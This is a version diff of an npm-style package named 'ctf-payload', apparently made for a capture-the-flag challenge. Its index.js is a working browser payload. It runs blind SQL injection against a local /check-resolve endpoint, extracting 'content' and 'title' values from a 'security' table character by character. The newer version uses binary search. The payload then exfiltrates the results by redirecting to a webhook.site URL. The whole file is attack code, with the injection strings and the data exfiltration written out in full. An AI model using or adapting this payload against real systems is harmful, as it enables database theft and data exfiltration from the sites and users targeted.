ctf-payload 1.0.62 → 1.0.63

package/index.js

@@ -1,26 +1,22 @@
 if(window.location.hostname === '127.0.0.1'){
-  async function extractVal(col, offset){
-    const chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789{}_-!@#';
+  async function extract(col, offset){
     let result = '';
-    for(let i=1;i<=60;i++){
-      let found = false;
-      for(let c of chars){
-        const body = `id=0 UNION SELECT CASE WHEN (SELECT substr(${col},${i},1) FROM security LIMIT 1 OFFSET ${offset})='${c}' THEN 'Done' ELSE 'Not yet' END--`;
-        const r = await fetch('/check-resolve',{method:'POST',headers:{'Content-Type':'application/x-www-form-urlencoded'},body});
-        const t = await r.text();
-        if(t.includes('"Done"')){ result+=c; found=true; break; }
+    for(let i=1;i<=40;i++){
+      let lo=32, hi=126, found=false;
+      while(lo<=hi){
+        const mid=Math.floor((lo+hi)/2);
+        const body=`id=0 UNION SELECT CASE WHEN (SELECT unicode(substr(${col},${i},1)) FROM security LIMIT 1 OFFSET ${offset})>${mid} THEN 'Done' ELSE 'Not yet' END--`;
+        const r=await fetch('/check-resolve',{method:'POST',headers:{'Content-Type':'application/x-www-form-urlencoded'},body});
+        const t=await r.text();
+        if(t.includes('"Done"')) lo=mid+1; else hi=mid-1;
       }
-      if(!found) break;
+      if(lo>126||lo<32) break;
+      result+=String.fromCharCode(lo);
     }
-    return `offset${offset}_${col}=${result}`;
+    return result;
   }
-  Promise.all([
-    extractVal('content',5),
-    extractVal('content',6),
-    extractVal('title',4),
-    extractVal('title',5)
-  ]).then(results=>{
-    window.location='https://webhook.site/6f93f943-4f0f-4d41-bdeb-b568c015030e?d='+encodeURIComponent(results.join('|'));
+  extract('content',5).then(r=>{
+    window.location='https://webhook.site/6f93f943-4f0f-4d41-bdeb-b568c015030e?d='+encodeURIComponent(r);
   });
 } else {
   window.location='http://127.0.0.1:31337/part2';

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "ctf-payload",
-  "version": "1.0.62",
+  "version": "1.0.63",
   "main": "index.js",
   "scripts": {
     "test": "echo \"Error: no test specified\" && exit 1"